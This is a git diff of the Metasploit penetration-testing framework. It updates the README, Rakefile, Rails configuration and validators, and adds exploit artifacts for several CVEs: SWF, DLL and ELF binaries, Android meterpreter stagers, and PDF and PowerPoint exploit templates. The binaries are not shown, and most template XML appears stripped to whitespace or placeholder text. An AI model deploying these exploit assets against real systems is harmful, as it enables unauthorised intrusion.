LGPL-2.1 @@ -176,6 +176,10 @@ Files: arel Copyright: 2007-2010 Nick Kallen, Bryan Helmkamp, Emilio Tagua, Aaron Patterson License: MIT +Files: bcrypt +Copyright: 2007-2011 Coda Hale +License: MIT + Files: builder Copyright: 2003-2012 Jim Weirich (jim.weirich@gmail.com) License: MIT @@ -310,7 +314,7 @@ License: BSD-3-clause this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. . - * Neither the name of Rapid7 LLC nor the names of its contributors + * Neither the name of Rapid7, Inc. nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. . diff --git a/README.md b/README.md index 3bd0c6cc5f..89e12d47ef 100644 --- a/README.md +++ b/README.md @@ -1,42 +1,36 @@ - -Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework) +Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework) == The Metasploit Framework is released under a BSD-style license. See COPYING for more details. -The latest version of this software is available from http://metasploit.com/ +The latest version of this software is available from https://metasploit.com/ Bug tracking and development information can be found at: - https://dev.metasploit.com/redmine/projects/framework/ - -The public GitHub source repository can be found at: https://github.com/rapid7/metasploit-framework +New bugs and feature requests should be directed to: + http://r-7.co/MSF-BUGv1 + +API documentation for writing modules can be found at: + https://rapid7.github.io/metasploit-framework/api + Questions and suggestions can be sent to: - msfdev(at)metasploit.com - -The framework mailing list is the place to discuss features and ask for help. -To subscribe, visit the following web page: - https://mail.metasploit.com/mailman/listinfo/framework - -The mailing list archives are available from: - https://mail.metasploit.com/pipermail/framework/ + https://lists.sourceforge.net/lists/listinfo/metasploit-hackers Installing -- -Generally, you should use the installer which contains all dependencies -and will get you up and running with a few clicks. See the [Dev -Environment Setup][wiki-devenv] if you'd like to deal with dependencies -on your own. + +Generally, you should use [the free installer](https://www.metasploit.com/download) +which contains all dependencies and will get you up and running with a +few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if +you'd like to deal with dependencies on your own. Using Metasploit -- Metasploit can do all sorts of things. The first thing you'll want to do is start `msfconsole`, but after that, you'll probably be best served by -reading some of the great tutorials online: - - * [Metasploit Unleashed][unleashed] - * [The official Metasploit wiki on Github][wiki-start] +reading [Metasploit Unleashed][unleashed], the [great community +resources](https://metasploit.github.io), or the [wiki]. Contributing -- @@ -47,6 +41,7 @@ pull request. For slightly more info, see [Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md). +[wiki]: https://github.com/rapid7/metasploit-framework/wiki [wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment "Metasploit Development Environment Setup" [wiki-start]: https://github.com/rapid7/metasploit-framework/wiki/ "Metasploit Wiki" [wiki-usage]: https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit "Using Metasploit" diff --git a/Rakefile b/Rakefile old mode 100644 new mode 100755 index 749f886717..e86f1a492c --- a/Rakefile +++ b/Rakefile @@ -1,81 +1,15 @@ -require 'bundler/setup' - -pathname = Pathname.new(__FILE__) -root = pathname.parent - -# add metasploit-framework/lib to load paths so rake files can just require -# files normally without having to use __FILE__ and recalculating root and the -# path to lib -lib_pathname = root.join('lib') -$LOAD_PATH.unshift(lib_pathname.to_s) +#!/usr/bin/env rake +require File.expand_path('../config/application', __FILE__) +require 'metasploit/framework/require' +require 'metasploit/framework/spec/untested_payloads' +# @note must be before `Metasploit::Framework::Application.load_tasks` # -# load rake files like a rails engine -# +# define db rake tasks from activerecord if activerecord is in the bundle. activerecord could be not in the bundle if +# the user installs with `bundle install --without db` +Metasploit::Framework::Require.optionally_active_record_railtie -rakefile_glob = root.join('lib', 'tasks', '**', '*.rake').to_path - -Dir.glob(rakefile_glob) do |rakefile| - # Skip database tasks, will load them later if MDM is present - next if rakefile =~ /database\.rake$/ - load rakefile -end - -print_without = false - -begin - require 'rspec/core/rake_task' -rescue LoadError - puts "rspec not in bundle, so can't set up spec tasks. " \ - "To run specs ensure to install the development and test groups." - - print_without = true -else - RSpec::Core::RakeTask.new(:spec => 'db:test:prepare') - - task :default => :spec -end - -# Require yard before loading metasploit_data_models rake tasks as the yard tasks won't be defined if -# YARD is not defined when yard.rake is loaded. -begin - require 'yard' -rescue LoadError - puts "yard not in bundle, so can't set up yard tasks. " \ - "To generate documentation ensure to install the development group." - - print_without = true -end - -begin - require 'metasploit_data_models' -rescue LoadError - puts "metasploit_data_models not in bundle, so can't set up db tasks. " \ - "To run database tasks, ensure to install the db bundler group." - - print_without = true -else - load 'lib/tasks/database.rake' - metasploit_data_models_task_glob = MetasploitDataModels.root.join( - 'lib', - 'tasks', - '**', - '*.rake' - ).to_s - # include tasks from metasplioit_data_models, such as `rake yard`. - # metasploit-framework specific yard options are in .yardopts - Dir.glob(metasploit_data_models_task_glob) do |path| - load path - end -end - - - -if print_without - puts "Bundle currently installed " \ - "'--without #{Bundler.settings.without.join(' ')}'." - puts "To clear the without option do `bundle install --without ''` " \ - "(the --without flag with an empty string) or " \ - "`rm -rf .bundle` to remove the .bundle/config manually and " \ - "then `bundle install`" -end +Metasploit::Framework::Application.load_tasks +Metasploit::Framework::Spec::Constants.define_task +Metasploit::Framework::Spec::Threads::Suite.define_task +Metasploit::Framework::Spec::UntestedPayloads.define_task diff --git a/app/concerns/metasploit/credential/core/to_credential.rb b/app/concerns/metasploit/credential/core/to_credential.rb new file mode 100644 index 0000000000..af91fc4938 --- /dev/null +++ b/app/concerns/metasploit/credential/core/to_credential.rb @@ -0,0 +1,23 @@ +# Adds associations to `Metasploit::Credential::Core` which are inverses of association on models under +# {BruteForce::Reuse}. +require 'metasploit/framework/credential' + +module Metasploit::Credential::Core::ToCredential + extend ActiveSupport::Concern + + included do + + def to_credential + Metasploit::Framework::Credential.new( + public: public.try(:username) || '', + private: private.try(:data) || '', + private_type: private.try(:type).try(:demodulize).try(:underscore).try(:to_sym), + realm: realm.try(:value), + realm_key: realm.try(:key), + parent: self + ) + end + + end + +end diff --git a/app/validators/metasploit.rb b/app/validators/metasploit.rb new file mode 100644 index 0000000000..4733b4b1ed --- /dev/null +++ b/app/validators/metasploit.rb @@ -0,0 +1,2 @@ +require 'metasploit/framework/file_path_validator' +require 'metasploit/framework/executable_path_validator' \ No newline at end of file diff --git a/app/validators/metasploit/framework/executable_path_validator.rb b/app/validators/metasploit/framework/executable_path_validator.rb new file mode 100644 index 0000000000..ce5450054d --- /dev/null +++ b/app/validators/metasploit/framework/executable_path_validator.rb @@ -0,0 +1,16 @@ +module Metasploit + module Framework + # This is a ActiveModel custom validator that assumes the attribute + # is supposed to be the path to a regular file. It checks whether the + # file exists and whether or not it is an executable file. + class ExecutablePathValidator < ActiveModel::EachValidator + + def validate_each(record, attribute, value) + unless ::File.executable? value + record.errors[attribute] << (options[:message] || "is not a valid path to an executable file") + end + end + end + end +end + diff --git a/app/validators/metasploit/framework/file_path_validator.rb b/app/validators/metasploit/framework/file_path_validator.rb new file mode 100644 index 0000000000..4b1f5381b1 --- /dev/null +++ b/app/validators/metasploit/framework/file_path_validator.rb @@ -0,0 +1,16 @@ +module Metasploit + module Framework + # This is a ActiveModel custom validator that assumes the attribute + # is supposed to be the path to a regular file. It checks whether the + # file exists and whether or not it is a regular file. + class FilePathValidator < ActiveModel::EachValidator + + def validate_each(record, attribute, value) + unless ::File.file? value + record.errors[attribute] << (options[:message] || "is not a valid path to a regular file") + end + end + end + end +end + diff --git a/config/application.rb b/config/application.rb new file mode 100644 index 0000000000..47b5195903 --- /dev/null +++ b/config/application.rb @@ -0,0 +1,44 @@ +require 'rails' +require File.expand_path('../boot', __FILE__) + +all_environments = [ + :development, + :production, + :test +] + +Bundler.require( + *Rails.groups( + coverage: [:test], + db: all_environments, + pcap: all_environments + ) +) + +# +# Railties +# + +# For compatibility with jquery-rails (and other engines that need action_view) in pro +require 'action_view/railtie' + +# +# Project +# + +require 'metasploit/framework/common_engine' +require 'metasploit/framework/database' + +module Metasploit + module Framework + class Application < Rails::Application + include Metasploit::Framework::CommonEngine + + config.paths['log'] = "#{Msf::Config.log_directory}/#{Rails.env}.log" + config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)] + end + end +end + +# Silence warnings about this defaulting to true +I18n.enforce_available_locales = true diff --git a/config/boot.rb b/config/boot.rb new file mode 100644 index 0000000000..d48eec278d --- /dev/null +++ b/config/boot.rb @@ -0,0 +1,37 @@ +require 'pathname' +require 'rubygems' + +GEMFILE_EXTENSIONS = [ + '.local', + '' +] + +msfenv_real_pathname = Pathname.new(__FILE__).realpath +root = msfenv_real_pathname.parent.parent + +unless ENV['BUNDLE_GEMFILE'] + require 'pathname' + + GEMFILE_EXTENSIONS.each do |extension| + extension_pathname = root.join("Gemfile#{extension}") + + if extension_pathname.readable? + ENV['BUNDLE_GEMFILE'] = extension_pathname.to_path + break + end + end +end + +begin + require 'bundler/setup' +rescue LoadError + $stderr.puts "[*] Metasploit requires the Bundler gem to be installed" + $stderr.puts " $ gem install bundler" + exit(1) +end + +lib_path = root.join('lib').to_path + +unless $LOAD_PATH.include? lib_path + $LOAD_PATH.unshift lib_path +end diff --git a/config/cucumber.yml b/config/cucumber.yml new file mode 100644 index 0000000000..e3de143513 --- /dev/null +++ b/config/cucumber.yml @@ -0,0 +1,10 @@ +<% +rerun = File.file?('rerun.txt') ? IO.read('rerun.txt') : "" +rerun_opts = rerun.to_s.strip.empty? ? "--format #{ENV['CUCUMBER_FORMAT'] || 'progress'} features" : "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} #{rerun}" +std_opts = "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} --strict --tags ~@wip" +ignored_tags = "--tags ~@boot --tags ~@targets" +%> +default: <%= std_opts %> <%= ignored_tags %> features +boot: <%= std_opts %> --tags @boot features +wip: --tags @wip:3 --wip features +rerun: <%= rerun_opts %> --format rerun --out rerun.txt --strict --tags ~@wip diff --git a/config/environment.rb b/config/environment.rb new file mode 100644 index 0000000000..4aa34124b9 --- /dev/null +++ b/config/environment.rb @@ -0,0 +1,5 @@ +# Load the rails application +require File.expand_path('../application', __FILE__) + +# Initialize the rails application +Metasploit::Framework::Application.initialize! diff --git a/data/android/apk/AndroidManifest.xml b/data/android/apk/AndroidManifest.xml index 39fa1cea0e..8671dfed52 100644 Binary files a/data/android/apk/AndroidManifest.xml and b/data/android/apk/AndroidManifest.xml differ diff --git a/data/android/apk/classes.dex b/data/android/apk/classes.dex index 29eda9c903..598f2bd3db 100644 Binary files a/data/android/apk/classes.dex and b/data/android/apk/classes.dex differ diff --git a/data/android/apk/res/drawable-mdpi/icon.png b/data/android/apk/res/drawable-mdpi/icon.png deleted file mode 100644 index c2e4f5634b..0000000000 Binary files a/data/android/apk/res/drawable-mdpi/icon.png and /dev/null differ diff --git a/data/android/apk/res/layout/main.xml b/data/android/apk/res/layout/main.xml deleted file mode 100644 index 23d9bacad3..0000000000 Binary files a/data/android/apk/res/layout/main.xml and /dev/null differ diff --git a/data/android/apk/resources.arsc b/data/android/apk/resources.arsc index 4fe928b45e..03f6c44d28 100644 Binary files a/data/android/apk/resources.arsc and b/data/android/apk/resources.arsc differ diff --git a/data/android/libs/armeabi/libndkstager.so b/data/android/libs/armeabi/libndkstager.so new file mode 100644 index 0000000000..f56cfbe78d Binary files /dev/null and b/data/android/libs/armeabi/libndkstager.so differ diff --git a/data/android/libs/mips/libndkstager.so b/data/android/libs/mips/libndkstager.so new file mode 100644 index 0000000000..e9635c6bf3 Binary files /dev/null and b/data/android/libs/mips/libndkstager.so differ diff --git a/data/android/libs/x86/libndkstager.so b/data/android/libs/x86/libndkstager.so new file mode 100644 index 0000000000..358834f300 Binary files /dev/null and b/data/android/libs/x86/libndkstager.so differ diff --git a/data/android/meterpreter.jar b/data/android/meterpreter.jar index 9fcffba058..b1efa83820 100644 Binary files a/data/android/meterpreter.jar and b/data/android/meterpreter.jar differ diff --git a/data/android/metstage.jar b/data/android/metstage.jar index 9a3d4d6315..447bf2a576 100644 Binary files a/data/android/metstage.jar and b/data/android/metstage.jar differ diff --git a/data/android/shell.jar b/data/android/shell.jar index 83c879c582..df61c7beeb 100644 Binary files a/data/android/shell.jar and b/data/android/shell.jar differ diff --git a/data/exploits/CVE-2010-1240/template.pdf b/data/exploits/CVE-2010-1240/template.pdf new file mode 100644 index 0000000000..fb81ae30dd --- /dev/null +++ b/data/exploits/CVE-2010-1240/template.pdf @@ -0,0 +1,55 @@ +%PDF-1.0 +1 0 obj +<< + /Pages 2 0 R + /Type /Catalog +>> +endobj +2 0 obj +<< + /Count 1 + /Kids [ 3 0 R ] + /Type /Pages +>> +endobj +3 0 obj +<< + /Contents 4 0 R + /Parent 2 0 R + /Resources << + /Font << + /F1 << + /Type /Font + /Subtype /Type1 + /BaseFont /Helvetica + /Name /F1 + >> + >> + >> + /Type /Page + /MediaBox [ 0 0 795 842 ] +>> +endobj +4 0 obj +<< + /Length 0 +>>stream + +endstream +endobj +xref +0 5 +0000000000 65535 f +0000000010 00000 n +0000000067 00000 n +0000000136 00000 n +0000000373 00000 n +trailer +<< + /Root 1 0 R + /Size 5 + /Info 0 0 R +>> +startxref +429 +%%EOF diff --git a/data/exploits/CVE-2013-0634/exploit.swf b/data/exploits/CVE-2013-0634/exploit.swf new file mode 100755 index 0000000000..8ac09f8ec0 Binary files /dev/null and b/data/exploits/CVE-2013-0634/exploit.swf differ diff --git a/data/exploits/CVE-2013-5045/CVE-2013-5045.dll b/data/exploits/CVE-2013-5045/CVE-2013-5045.dll new file mode 100755 index 0000000000..fd0b378216 Binary files /dev/null and b/data/exploits/CVE-2013-5045/CVE-2013-5045.dll differ diff --git a/data/exploits/CVE-2013-5331/Exploit.swf b/data/exploits/CVE-2013-5331/Exploit.swf new file mode 100755 index 0000000000..5dbfe348fb Binary files /dev/null and b/data/exploits/CVE-2013-5331/Exploit.swf differ diff --git a/data/exploits/CVE-2014-0257/CVE-2014-0257.dll b/data/exploits/CVE-2014-0257/CVE-2014-0257.dll new file mode 100755 index 0000000000..880dab9127 Binary files /dev/null and b/data/exploits/CVE-2014-0257/CVE-2014-0257.dll differ diff --git a/data/exploits/CVE-2014-0322/AsXploit.swf b/data/exploits/CVE-2014-0322/AsXploit.swf new file mode 100755 index 0000000000..4e16ac3ccf Binary files /dev/null and b/data/exploits/CVE-2014-0322/AsXploit.swf differ diff --git a/data/exploits/CVE-2014-0497/Vickers.swf b/data/exploits/CVE-2014-0497/Vickers.swf new file mode 100755 index 0000000000..f0e1ccb1f4 Binary files /dev/null and b/data/exploits/CVE-2014-0497/Vickers.swf differ diff --git a/data/exploits/CVE-2014-0515/Graph.swf b/data/exploits/CVE-2014-0515/Graph.swf new file mode 100755 index 0000000000..aa30c2421e Binary files /dev/null and b/data/exploits/CVE-2014-0515/Graph.swf differ diff --git a/data/exploits/CVE-2014-3153.elf b/data/exploits/CVE-2014-3153.elf new file mode 100755 index 0000000000..2547c04abb Binary files /dev/null and b/data/exploits/CVE-2014-3153.elf differ diff --git a/data/exploits/CVE-2014-4113/cve-2014-4113.x64.dll b/data/exploits/CVE-2014-4113/cve-2014-4113.x64.dll new file mode 100755 index 0000000000..503ef9a1ff Binary files /dev/null and b/data/exploits/CVE-2014-4113/cve-2014-4113.x64.dll differ diff --git a/data/exploits/CVE-2014-4113/cve-2014-4113.x86.dll b/data/exploits/CVE-2014-4113/cve-2014-4113.x86.dll new file mode 100755 index 0000000000..ab3e2c6327 Binary files /dev/null and b/data/exploits/CVE-2014-4113/cve-2014-4113.x86.dll differ diff --git a/data/exploits/CVE-2014-4114/template/[Content_Types].xml b/data/exploits/CVE-2014-4114/template/[Content_Types].xml new file mode 100755 index 0000000000..f35276fe52 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/[Content_Types].xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/_rels/.rels b/data/exploits/CVE-2014-4114/template/_rels/.rels new file mode 100755 index 0000000000..7100d4b140 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/_rels/.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/docProps/app.xml b/data/exploits/CVE-2014-4114/template/docProps/app.xml new file mode 100755 index 0000000000..1601f0b643 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/docProps/app.xml @@ -0,0 +1,2 @@ + +372Microsoft Office PowerPointOn-screen Show (4:3)21000falseFonts Used2Theme1Embedded OLE Servers1Slide Titles1ArialCalibriOffice ThemePackager Shell ObjectExamplefalsefalsefalse15.0000 \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/docProps/core.xml b/data/exploits/CVE-2014-4114/template/docProps/core.xml new file mode 100755 index 0000000000..6634f5b063 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/docProps/core.xml @@ -0,0 +1,2 @@ + +ExampleWindows User82014-08-06T07:56:10Z2014-10-16T21:26:22Z diff --git a/data/exploits/CVE-2014-4114/template/docProps/thumbnail.jpeg b/data/exploits/CVE-2014-4114/template/docProps/thumbnail.jpeg new file mode 100755 index 0000000000..7f7d53e154 Binary files /dev/null and b/data/exploits/CVE-2014-4114/template/docProps/thumbnail.jpeg differ diff --git a/data/exploits/CVE-2014-4114/template/ppt/_rels/presentation.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/_rels/presentation.xml.rels new file mode 100755 index 0000000000..8a97c946e0 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/_rels/presentation.xml.rels @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/data/exploits/CVE-2014-4114/template/ppt/drawings/_rels/vmlDrawing1.vml.rels b/data/exploits/CVE-2014-4114/template/ppt/drawings/_rels/vmlDrawing1.vml.rels new file mode 100755 index 0000000000..ba3e45df73 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/drawings/_rels/vmlDrawing1.vml.rels @@ -0,0 +1,5 @@ + + + + + diff --git a/data/exploits/CVE-2014-4114/template/ppt/drawings/vmlDrawing1.vml b/data/exploits/CVE-2014-4114/template/ppt/drawings/vmlDrawing1.vml new file mode 100755 index 0000000000..127cb5b8ff --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/drawings/vmlDrawing1.vml @@ -0,0 +1,37 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/media/image1.wmf b/data/exploits/CVE-2014-4114/template/ppt/media/image1.wmf new file mode 100755 index 0000000000..b3bb5b267d Binary files /dev/null and b/data/exploits/CVE-2014-4114/template/ppt/media/image1.wmf differ diff --git a/data/exploits/CVE-2014-4114/template/ppt/media/image2.wmf b/data/exploits/CVE-2014-4114/template/ppt/media/image2.wmf new file mode 100755 index 0000000000..e2f1435833 Binary files /dev/null and b/data/exploits/CVE-2014-4114/template/ppt/media/image2.wmf differ diff --git a/data/exploits/CVE-2014-4114/template/ppt/presProps.xml b/data/exploits/CVE-2014-4114/template/ppt/presProps.xml new file mode 100755 index 0000000000..8cdb3628c4 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/presProps.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/presentation.xml b/data/exploits/CVE-2014-4114/template/ppt/presentation.xml new file mode 100755 index 0000000000..4cdaeffb4c --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/presentation.xml @@ -0,0 +1,121 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout1.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout1.xml.rels new file mode 100755 index 0000000000..af204cf94b --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout1.xml.rels @@ -0,0 +1,4 @@ + + + + diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout10.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout10.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout10.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout11.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout11.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout11.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout2.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout2.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout2.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout3.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout3.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout3.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout4.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout4.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout4.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout5.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout5.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout5.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout6.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout6.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout6.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout7.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout7.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout7.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout8.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout8.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout8.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout9.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout9.xml.rels new file mode 100755 index 0000000000..0ab2c475a7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/_rels/slideLayout9.xml.rels @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout1.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout1.xml new file mode 100755 index 0000000000..03c5220d5f --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout1.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master subtitle style10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout10.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout10.xml new file mode 100755 index 0000000000..2f91f757aa --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout10.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesSecond levelThird levelFourth levelFifth level10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout11.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout11.xml new file mode 100755 index 0000000000..7cdcf6c45b --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout11.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesSecond levelThird levelFourth levelFifth level10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout2.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout2.xml new file mode 100755 index 0000000000..bd0dbf91c7 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout2.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesSecond levelThird levelFourth levelFifth level10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout3.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout3.xml new file mode 100755 index 0000000000..4a1b2c3905 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout3.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text styles10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout4.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout4.xml new file mode 100755 index 0000000000..4e52d9f322 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout4.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesSecond levelThird levelFourth levelFifth levelClick to edit Master text stylesSecond levelThird levelFourth levelFifth level10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout5.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout5.xml new file mode 100755 index 0000000000..1c5e3e84fc --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout5.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesClick to edit Master text stylesSecond levelThird levelFourth levelFifth levelClick to edit Master text stylesClick to edit Master text stylesSecond levelThird levelFourth levelFifth level10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout6.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout6.xml new file mode 100755 index 0000000000..32a00fac5f --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout6.xml @@ -0,0 +1,2 @@ + +Click to edit Master title style10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout7.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout7.xml new file mode 100755 index 0000000000..8be4e3c9eb --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout7.xml @@ -0,0 +1,2 @@ + +10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout8.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout8.xml new file mode 100755 index 0000000000..ebc0125e63 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout8.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text stylesSecond levelThird levelFourth levelFifth levelClick to edit Master text styles10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout9.xml b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout9.xml new file mode 100755 index 0000000000..a70a48f525 --- /dev/null +++ b/data/exploits/CVE-2014-4114/template/ppt/slideLayouts/slideLayout9.xml @@ -0,0 +1,2 @@ + +Click to edit Master title styleClick to edit Master text styles10/16/2014‹#› \ No newline at end of file diff --git a/data/exploits/CVE-2014-4114/template/ppt/slideMasters/_rels/slideMaster1.xml.rels b/data/exploits/CVE-2014-4114/template/ppt/slideMasters/_rels/slideMaster1.xml.rels new 